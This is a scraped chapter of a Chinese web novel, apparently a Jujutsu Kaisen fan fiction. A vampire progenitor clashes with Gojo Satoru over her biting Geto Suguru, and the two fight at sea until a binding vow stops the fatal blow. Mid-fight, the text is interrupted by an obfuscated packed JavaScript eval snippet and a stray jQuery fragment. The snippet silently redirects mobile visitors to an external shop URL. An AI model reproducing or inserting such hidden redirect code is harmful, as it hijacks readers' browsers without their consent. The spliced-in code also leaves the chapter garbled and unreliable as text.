文趣网 > 都市小说 > 始祖是特级 > 32.始祖与世界
    天色微明时,绯月畏拉开了礼仪教室的大门。

    晨光从门缝渗入,照亮浮尘如金粉。她抱着昨夜未读完的书走出,抬眸望向校园——一片热火朝天的重建景象映入眼帘。

    咒高学生们已返回,正各显神通修复宿舍楼。禅院真希单手扛起三人合抱的木梁,脚步稳健如履平地;熊猫以庞大身躯充当起重机底盘;狗卷棘指挥着脱兔搬运碎砖。与咒术界长期合作的工程队也到了现场,工人们看着这群未成年少男少女展现出的非常规力量,个个目瞪口呆。

    绯月畏远远瞥了一眼,眉头微蹙。恰在此时,第一缕阳光越过地平线洒落——

    她的身影如融于晨光的雪,无声消弭。

    不远处,正弯腰捡拾碎瓦的狗卷棘动作一顿,缓缓直起身。他拉高衣领遮住嘴角咒纹,目光锐利地扫向教室方向,随即踩着树荫悄无声息地靠近。然而原地已空无一人,唯有晨风拂过廊下风铃,叮铃轻响。

    东京市区·高层公寓

    绯月畏的身影在小区花园的林荫道旁浮现。她抱着书缓步走向公寓楼,刷卡进门,电梯无声上行。

    推开家门时,客厅的景象让她脚步微顿——

    五条悟仰面躺在沙发上,银色发丝凌乱散落额前,墨镜歪斜地挂在鼻梁上。他双臂大张,一条腿搭着沙发扶手,另一条腿垂落在地毯边缘,呼吸沉静绵长,像是陷入深眠。

    绯月畏收回目光,径直走进卧室。洗漱更衣后,她换上墨青色家居服走出,五条悟依旧维持着那个四仰八叉的姿势。

    她走到沙发旁,抬脚不轻不重地踹了踹他的小腿。

    “让让。”

    “啧。”五条悟不爽地咂舌,却还是乖乖缩回腿,给她让出位置。

    绯月畏刚坐下,五条悟就像诈尸般猛地弹坐起来,一张俊脸倏地凑近她肩头,温热的呼吸拂过她颈侧:

    “你咬了杰吧?”

    不是疑问,是陈述。他事后越想越觉诡异——回到公寓独处时,昨夜废墟上的画面在脑中反复回放:绯月畏嘴角那抹未擦净的暗红、她擦拭嘴角时过于优雅的动作、夏油杰颈侧那两个微小到几乎看不见的血洞……

    以及当时被“挚友将死”冲击得恍惚的自己,竟忽略了如此明显的异常。

    绯月畏正用毛巾擦拭湿发,发间散出柠檬清香。闻言,她动作不停,随口应道:

    “咬了又如何?”

    “理由?”五条悟追问,身体后撤些许,目光却如鹰隼般锁定她,“你又不嗜血。我敢打赌,老子是你咬的第一个人——车上那次是你初次吸血,对吧?以你的实力,根本没必要对杰动獠牙。所以……目的到底是什么?”

    “好奇?”绯月畏终于抬起眼,语气平淡得像在讨论天气,“你对‘情感’的认知让我有些兴趣——夏油杰早已跟不上你的脚步,你仍称他‘挚友’;反目成仇至不死不休,你却还想为他保留……属于活人才在乎的尊严?”

    五条悟侧身坐正,双手搭在膝盖上,墨镜后的蓝瞳眯起:

    “畏没有朋友吧?”

    “不需要那种东西。”绯月畏淡淡道,“蜉蝣朝生暮死,时光会冲刷一切痕迹。群居属性……是人类特有的软弱。”

    “所以你也不会懂,”五条悟后仰靠进沙发,声音低了几分,“我和杰之间,不是三言两语能概括的。”

    绯月畏却忽然抬头,用一种莫名的眼神看他:

    “那倒未必。”

    “我看过你所有的任务报告,”她指尖轻点太阳穴,“而且五条家送来的书里,夹杂了你入高专前的‘起居注’……”

    “等等。”五条悟再次弹坐起来,墨镜滑到鼻尖,“什么东西?”

    “起居注。从你出生当日开始记录,每日衣食住行、言行举止,截止到你离家来东京上学。”绯月畏平静解释。

    五条悟瞪大眼,嘴巴微张:“そんな記録あるの?!知らなかったよ!”(还有这种记录?!我不知道啊!)

    “大概因为你从未关注过五条家的管理模式。”绯月畏当时从书箱里翻出那叠装订精美的册子时,也颇为意外。若非封面上印着五条家族徽,她差点以为是某个狂热私生粉的杰作。

    “……东西呢?”五条悟声音发紧。

    “还在学校。”

    “你等等——”五条悟猛地站起来,“等我回来咱们再继续——”话音未落,他已经拉开阳台门,“唰!”一下就不见了。

    绯月畏看着空荡的阳台,放下半干的毛巾,起身走向厨房泡茶。冬日寒气从窗隙渗入,她思索着下次出门或许该加件外套。

    水壶开始发出轻鸣时,她坐回沙发。

    突然——

    仿佛弓弦崩断,她所有动作骤然停滞。

    心跳声在耳中响起,起初微弱,随即如擂鼓般轰鸣。按在茶几上的手不受控制地弹出尖锐指甲,木质桌面发出不堪重负的呻吟。旁边花瓶里,半阖的粉菊开始疯长——花蕊怒放,花茎抽长,水中茎杆冒出雪白根须,转眼占满瓶腹。

    “咔!”

    茶几表面崩开裂纹,从她掌心向外蛛网般蔓延。

    绯月畏深吸一口气,强行收回手。窗外朝阳初升,屋内空间却开始扭曲震颤。

    她抬手捂住下半张脸,獠牙已不受控地刺破唇瓣。指缝间,猩红瞳仁亮如血月。肌肤在单衣下皲裂,露出底下猩红血肉,又在瞬息间愈合。

    “转化……开始了。”

    从误入此世那天起她就知晓:这个世界的意识是“活”的。它不欢迎她的存在,更不满她的到来。五条悟的血曾帮她强行攫取部分权限,但想像在原本世界那样以始祖之身恣意行走,仍危机四伏——世界意识杀不死她,却能用源源不断的“意外”恶心她。

    而现在,她咬了夏油杰。此世寥寥无几的特级之一,甚至将吸血因子注入其体内。世界意识起初未能察觉“吸血”与“转化”的差异,直至此刻——

    被五条悟藏于某个不为人知的地方的夏油杰,开始转化了。

    朝阳升起时,潜伏的吸血因子加速侵蚀。夏油杰躯体正朝血族蜕变,特征初现。她的“小动作”……被发现了。

    祂在愤怒。

    绯月畏靠在沙发上,长发无风狂舞。雪白肌肤褪尽血色,转为原始灰白。始祖真容显现,肌理深处透出莹莹冷光。屋内家具震颤,空间紊乱如沸腾的水。

    持续三十秒。

    她再度深呼吸,指甲回缩,发丝垂落。放下手时,眼与齿已恢复如常。

    绯月畏忍俊不禁,低笑出声:

    “我赢了……”

    夏油杰的转化不可逆。世界意识再怒,也奈何不了她。

    而意识怒意退去,意味着……她成功从此世意识手中,夺回了血族始祖应有的权限——血裔。

    她抬眸,看向被盛放粉菊吞没的客厅,挑眉轻叹。指尖拂过攀上沙发的花盘,莹白微光飘散。菊花开始回缩,移位物件复归原处。

    当五条悟抱着纸箱从阳台跃入客厅时,绯月畏正单手支颐靠在沙发扶手上。热水将沸未沸,空气里只有薄荷味清新剂的气息。

    踏入客厅前,五条悟最后一步停在门槛外。他歪头看向屋内,墨镜下的眉头微蹙:

    “畏。”他唤道,“さっき、何かあった?”(刚才,发生了什么?)

    绯月畏转眸反问:“何かあったと思う?”(你觉得该发生什么?)

    五条悟沉吟:“証拠はないけど……直感が、さっき何か大きいことが起きたって言ってる。”(没有证据……但直觉告诉我,刚才发生了大事。)

    绯月畏颔首:“ならそうだろう。”(那便是吧。)

    “ちっ。”五条悟轻嗤,抱着箱子穿过门扉。踏入瞬间,他周身汗毛倒竖,又在几步后恢复如常。

    他将箱子搁在茶几上,俯身时六眼已捕捉异常——瓶中菊花的开放度变了。花瓣更舒展,色泽更娇艳,不像插了两日,倒像刚从枝头撷取。

    五条悟没问。将疑问压入心底,一如“为何咬杰”——他预感,时间自会给出答案。

    他拍拍箱子,语气夸张:“あのくそじじいども、盗み見やがって!俺が何食ったか、何着たか、何言ったか、それに子供の時の習字の内容まで毎日記録してるなんて!変態じゃないの?!”(那群臭老头子,居然偷窥!我吃了什么穿了什么说了什么,连小时候练字的内容都每天记录?!不是变态吗?!)

    绯月畏淡淡道:“起居注ってそういうものだと思ってた?”(你以为起居注是什么?)

    五条悟默默把箱子塞进茶几底,想想不妥,又抱上楼藏进卧室。

    返回沙发坐下,他正色道:“さっきの話の続きだ。”(继续刚才的话。)

    “続けることはない。”(没什么可续的。)

    “じゃあ、なんで杰を咬んだか話そう。『腹減った』なんて言うなよ。”五条悟言辞凿凿,“俺の血の方が杰よりあんたに魅力的だと思う。俺の血を飲んだ後、他人の血が飲めるわけない。”(那我们来谈谈为何咬杰。别跟我说“饿了”。我认为我的血比杰对你更有吸引力。喝过我的血后,你不可能还喝得下别人的。)

    绯月畏转头看他,唇角勾起玩味的弧度:“じゃあ、口の中に杰の血が残ってないってことで気づいたんじゃない?”(难道不是因为没在我口腔发现杰的血迹,才察觉的?)

    五条悟语塞——虽确实如此……“でも本当のこと言ってるだろ?”(但我说的没错吧?)

    绯月畏点头,表情堪称“慈祥”:“その通りだ。”(你说得对。)

    “なら今、総監部が監視する余裕ないうちに、公海へ行かない?”(那趁总监部没空监视,要不要去趟公海?)绯月畏突然问,眼底升起一抹看好戏的意味。

    “俺が勝ったら、サプライズをあげる。”(要是我赢了,有惊喜送你。)

    绯月畏转头对着五条悟笑了起来。

    毫无预兆地——

    五条悟浑身汗毛倒竖!屏息,无下限自主扩张一寸,六眼与反转术式全速运转!肾上腺素飙升的刺激感从头顶窜遍全身。

    那是什么?那双绯瞳亮起的瞬间,仿佛古老凶兽睁开了眼。

    对视良久,五条悟倏然咧开嘴角,笑容狂气四溢:

    “ちょうどいいぜ。”(正合我意。)

    话音落,客厅扬起寒风,吹落花瓣。花粉如星尘在晨光中飞舞,而室内已空无一人。

    ——##

    “咚——”

    千顷海面炸起巨浪,水柱冲天。飞溅的浪涛裹着鱼群抛上半空,又淅沥落下。水下生物惊恐逃窜,远处围猎幼年抹香鲸的虎鲸群放弃猎物,齐刷刷沉入深海逆流遁走。

    水幕砸落,露出踏浪而立的人影。

    黑色制服下露出衬衫白边,不透光墨镜遮住半脸。银白发丝在咸湿海风中飞扬,如霜雪般刺目。

    五条悟抬头,笑得轻佻:“畏、ちょっと凶暴すぎない?”(畏,是不是太凶了点?)

    半空中,绯月畏长发披散,墨色睡衣裤在风中鼓荡。她赤足悬空,闻言垂眸浅笑:

    “五条悟,你的挚友败于你的学生。现在让我看看……咒术界‘最强’,究竟能做到何种地步。”

    五条悟抬手摘掉墨镜,随手一发“苍”将其轰成粉末。他仰脸,苍蓝瞳孔灼灼如焰:

    “これに負けたら、面目丸つぶれだぜ。”(这要是输了,脸可就丢光了。)

    指尖“苍”光迸发,如流星直射绯月畏面门——

    “女性にも容赦なんてしないからな~”(我可不会对女士手下留情哦~)

    绯月畏随意侧首,湛蓝咒力擦着鬓发掠过。她足尖轻点海面,身影已在十米外的五条悟面前浮现——而原地的残影,此刻才开始消散!

    指甲如刃划破空气,带出尖啸。

    五条悟后仰、抬腿、下劈!无下限如豆腐被利爪撕开的同时,他的重踢也砸中绯月畏肩头。

    “砰!”

    闷响如雷,却未撼动她分毫。连嘴角那抹笑意,都纹丝未动。

    五条悟挑眉:“畏、□□強度もう銅鉄の域か?”(畏,肉身强度已达铜皮铁骨了?)

    绯月畏抬手轻飘飘接住他再度砸下的拳头,顺势一甩将他抛飞:

    “もっと大胆に推測していいよ。”(或许你可以更大胆些猜测。)

    “へえ~”五条悟拉长语调,笑容渐深,“じゃあ本気で行くよ!”(哦~那我可要动真格了!)

    【赫】!

    赤色流光撕裂海天,所过之处海水蒸发成白雾。绯月畏险险避开,抬手撩起一簇烧焦的发丝,随手丢弃。下一秒,她掌心向下虚按——

    巨浪如墙掀起,高达数十米,朝五条悟轰然拍落!

    浪墙之巅,赤色光球紧随砸下。“轰——!!!”海面如墨色果冻被利刃切开,裂出十米深沟。

    十秒内,五条悟周身已被空间斩划出数十道裂口,制服破损,露出底下衬衫。

    第十五秒,贴近的【赫】被绯月畏身侧裂开的空间缝隙吞噬,又在她翻掌间原路奉还!

    第三十秒,五条悟双手结印,紫黑色咒力奔涌——

    【茈】!

    毁灭性能量贯穿海面,沿途炸出深渊沟壑,直冲绯月畏!

    第四十秒,绯月畏利爪穿透无下限,整只手掌没入五条悟侧腹。抽出时,指尖滴落猩红。

    第四十三秒,她舌尖轻舔掌心鲜血,绯瞳猩红愈盛,獠牙刺破唇瓣。

    第五十秒,“咔嚓”骨裂声清晰可闻——被近身的绯月畏右臂被五条悟反折,错身对视的刹那,整条手臂被齐肩扯断!

    “噗!”

    鲜血如瀑,染红她半身。

    第五十一秒,五条悟手中的断臂溃散成血雾;而绯月畏肩头,骨骼、肌理、皮肤逐层重生,崭新手臂瞬息成形。

    第五十五秒,五条悟本能侧首,脖颈仍炸开血花。反转术式即刻缝合,赤色咒印浮现在新生疤痕上。

    一分半钟,三发连射的【赫】仅有一发命中——却在触及瞬间被空间吞噬,又于下一秒从五条悟背后裂空而出,炸响在无下限之上!

    两分钟,五条悟重拳砸落,浪涛溅起三丈高。落点空空如也,他六眼运转至极限,仍在浪花回落时被一脚踹入深海——

    “轰隆!!!”

    海面炸开漩涡,良久才恢复平静。

    绯月畏孤身立于浪尖,眸中流光微转。她足尖轻点水面,身形拔高数米。几乎同时,原处被“苍”炸成沸腾水坑!

    她凌空旋身,一记鞭腿横扫。刚从海中跃出的五条悟抬臂格挡,却被巨力踹飞三十米,堪堪以“苍”的吸力稳住身形。

    五条悟调整呼吸,目光锁定空中那道身影。

    『速い。』(好快。)

    这是他此生所遇最快的速度。天与咒缚般的肉身强度,堪比“苍”全速的空间跳跃,斩击无声无息……更棘手的是,他轰出的咒力大半被她“还”了回来。

    “畏。”他决定直接问——直觉告诉他,她会答,“俺の位置、どうやって把握してる?”(我的位置,你怎么锁定的?)

    绯月畏指了指耳朵:“聴力は人間の30倍だと言った。呼吸、鼓動、血流の音……全部が耳元で騒いでる。”(我说过,听力是人类的30倍。呼吸、心跳、血流声……全在耳边吵个不停。)

    五条悟笑了。他抬手,周身浮现数十点湛蓝星光——【苍】的预备态。

    “視力も30倍か?”(视力也是30倍?)

    绯月畏立于空中,连呼吸都未乱,随手梳理长发:“だいたいね。”(差不多。)

    “この程度なら,”(只是这种程度的话,)她敛眉浅笑,绯色瞳中却一片漠然,“死ぬよ。”(会死的哦。)

    三十发【苍】齐射!

    下一秒,绯月畏已闪现至他眼前。赤色流光从她指尖迸射,直奔五条悟眉心——穿透无下限,擦着头皮掠过!同一瞬,那三十发【苍】在五条悟挥手间折返,于绯月畏身后炸成漫天光雨。

    水花暴起,遮蔽视线。

    五条悟无半分松懈,双手结出咒术界人尽皆知的手印——

    【領域展開·無量空処】

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505852|202003||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    水幕落下的刹那,世界陷入死寂。

    浩瀚星空、数据洪流、日月更迭、万物细胞、地壳运动、海洋呼吸……无穷信息如海啸灌入脑海。

    【赫】!

    紫红咒力迎面轰来!

    双目涣散的绯月畏却做出了难以置信的动作——她抬起右手,食指于虚空中轻轻一点。

    某种古老存在,睁开了眼。

    “轰——!!!!!”

    冲击波将五条悟掀飞,如炮弹般砸向远处孤岛。连续撞断数十棵棕榈与椰树后,他最终“砰!”地嵌入巨岩,碎石簌簌滚落。

    “咳……!”

    五条悟撑身站起,晃了晃,抹去嘴角血迹。抬眼时,那道身影正从虚空中踏浪而来。

    “ひい……”他咧嘴笑了,眼底却燃着兴奋的火,“なんてスイッチを入れちゃったんだろう?”(嘶……我好像打开了不得了的开关啊。)

    “これが君の最強の手か?”(这就是你最强的一招?)绯月畏双眼如古老红翡,獠牙森然。齐腰长发疯长至足踝,肌肤褪尽血色,转为灰白青灰——宛如停放三日的尸身。

    五条悟的六眼告诉他:她的呼吸、心跳、体温,尽数消失。

    但她仍“活”着。

    “これが君の本来の姿か……”(这才是你原本的样子……)他瞬间断定。

    绮丽的面孔抬起,始祖露出认真后的第一抹笑。

    “砰!”

    心口处传来音爆!

    五条悟瞳孔骤缩,无下限运转至极限,空间距离强行拉伸数层——这才看清,绯月畏的指甲已抵在他心口,穿透两层衣料,堪堪触及皮肤。余光中,半空中的残影正缓缓消散。

    若非及时加厚防御,此刻他的心脏已被洞穿!

    绯月畏喟叹着抽回手,看向瞬间闪现至十米外的五条悟,掩唇轻笑:

    “いい香りだわ、悟——”(好香啊,悟——)

    汗毛倒竖!五条悟面无表情地侧首,利爪擦过脸颊,带出血痕。

    如古欧洲贵族漫步庭院,闲庭信步折取枝头繁花。绯月畏的空间斩筑成无形牢笼,封锁五条悟所有退路。她视线落点,尽是要害。

    五条悟抬腿踹开探来的利爪,身后却裂开无声斩击!六眼捕捉信息反馈,他错身闪避,同时掌心“苍”光炸亮,将自己强行位移。

    站定时,左臂已鲜血淋漓。他扯掉破碎袖子,露出筋肉虬结的手臂——一道深刻见骨的斩痕从手背蔓延至手肘,皮肉翻卷。

    反转术式运转,留下粉红疤痕。

    【赫】!

    紫红光束贯穿绯月畏心口。

    她无所谓地笑了下。伤口……瞬息愈合。

    五条悟甚至怀疑,凑近些能否听见心跳。

    始祖……是不死的。

    以双臂被拧成麻花、摔在沙滩上为代价,五条悟两次击碎绯月畏的心脏。然而每一次,伤口都在0.05秒内愈合,连溅出的血都倒流回体内。

    两个小时过去了。

    五条悟站起,反转术式修复双臂。呼吸已显沉重,汗水浸湿银发,心跳飙至一百四。

    他抬手将湿发捋向脑后,露出被血污覆盖的半张脸,咧嘴笑了,竖起两指——

    “領域展開·無量空処”

    蓝色领域扩张,笼罩整座岛屿。废墟般的荒岛上,风止声寂,连水流都变得粘稠缓慢。

    但是——

    绯月畏走来的步伐,没有丝毫滞涩。

    五条悟皱眉,直到一记【赫】精准贯穿她肩头,他才惊觉:她不是免疫,而是……“接受”了。

    绯月畏扯了扯破碎的衣襟,指尖向下虚按。沙滩上翠绿藤蔓破土而出,沿她小腿攀爬,纤维重组,化作毫无缝隙的墨绿衬衫。旧衣随手丢弃。

    她撩开沾血的长发,语气平淡:

    “私はどれだけ生きてきたと思う?どれだけのことを学んだと思う?”(你以为我活了多久?学会了多少东西?)

    “你的领域很厉害,能将凡人灌成痴儿。但我拥有无限时光,我的每一个细胞都可独立成生命体。这些‘知识’……我需要的只是消化时间。”

    五条悟脊背窜上寒意。

    “ずるすぎるだろ。”(太作弊了吧。)

    “咒术讲究等价交换。”绯月畏道,“但我非咒术师,不受此规则束缚。”

    “でも制限はあるだろ?”(但限制还是有的吧?)五条悟眼眸骤亮,笑着撤去领域——

    “轰隆隆——!!!”

    粗壮惊雷撕裂天幕,直劈而下!

    电光吞没绯月畏的身影。

    雷息散去,阳光重现。焦黑躯壳表面皲裂,从中蜕出崭新的绯月畏——肤色恢复白皙透红,长发缩回齐腰,獠牙隐没。

    “咳、咳!”她轻咳两声,嘴角溢血。

    抬眸望向五条悟,唇边勾起笑意。五条悟心头警铃大作,疾退腾空!

    然而下一秒,一只白皙修长的手攥住他的脚踝,暴力下拽——

    “嘭!!!”

    五条悟砸进岛心河沟,水花溅起三米高。

    绯月畏从树梢飘落,指尖拂过河边美人蕉。叶片在她手中“生长”成一方丝帕。她慢条斯理地拭净嘴角血迹,缓步走向河沟中瘫倒的身影。

    身下河水渐染猩红。五条悟动了动手指,睁眼时,俯身而来的脸庞挡住了日光。

    他艰难咽下喉间血腥,偏头咳出大口鲜血。

    冰凉的手按上他胸膛,尖锐指甲缓缓刺入——

    却在触及搏动心脏的前一瞬,停住了。

    绯月畏皱眉垂眸,与他对视。五条悟忽然笑了,笑得浑身发颤:

    “ははは……”(哈哈哈……)

    绯月畏维持着要剜心的姿势不动,声音骤冷:“你做了什么?”

    “你忘了?”五条悟笑着,即使他才是形容狼狈,落入下风的一方,他依旧在这个时候表现得仿佛他才是胜利的那一个。

    “束缚。”

    他说:“你忘了我们最初定下的【束缚】了吗?”

    绯月畏开始回忆束缚的细节。

    “只要你不对品行良好、未主动挑衅你的咒术师和普通人下手,我就不向任——何人,尤其是总监部的烂橘子们透露关于你的任何信息。”五条悟笑着把内容复述了出来。笑眯眯地侧头,露出脖子上的咒印,道:“品行良好、未主动挑衅你的,我也算一个;我还是你的【盟友】,【契约】为证,这两者都只能在我活着的时候生效。在【契约】达成之前,这两个条件会互相佐证,在我没有危害到你的安全之前,你如果杀了我,你的所有信息,都会被毫无保留地敞开在这个世界——所有人面前!”

    绯月畏终于理解了那一瞬间的心悸是什么。

    她没有六眼,看不见束缚。

    如果能看见的话,她或许早就会发现,五条悟不知道在什么时候和他自己定下了【束缚】。

    特级咒术师死亡的那一瞬间,咒力回归天地,相对的,他记忆中所有与她相关的东西,也会一并散落到天地之间。每一个拥有咒力的存在,都会得到这一份记忆。这是特级咒术师的特权。

    这个世界赋予的特权。

    越想越气,绯月畏眉头拧得能打死结。

    她猛地抽回手,五条悟顿时疼地直抽冷气。

    “五条悟,”绯月畏冷漠地宣判:“你输了。”

    五条悟哑然失笑,声音里透出空旷的寂寥:

    “ああ……負けたよ。”(啊……输了。)

    语气落寞茫然,藏着虚无的空洞。但绯月畏不在乎——她只恼火于被世界算计。

    阳光刺目时,脖颈传来久违的刺痛,随即被汹涌快感淹没。

    五条悟艰难抬手,搂住俯在身上的身影,扯出带血的笑:

    “畏さん、ゆっくりしてよ。”(畏小姐,慢点儿。)

    绯红眼眸埋在他颈间,眸光照亮了唇下的赤色咒印。绯月畏闭上眼,大口吮-吸,以此补偿消耗的精力。

    海中孤岛重归宁静,鸟语花香复苏。河边美人蕉盛放得愈发娇艳,仿佛什么都未曾发生。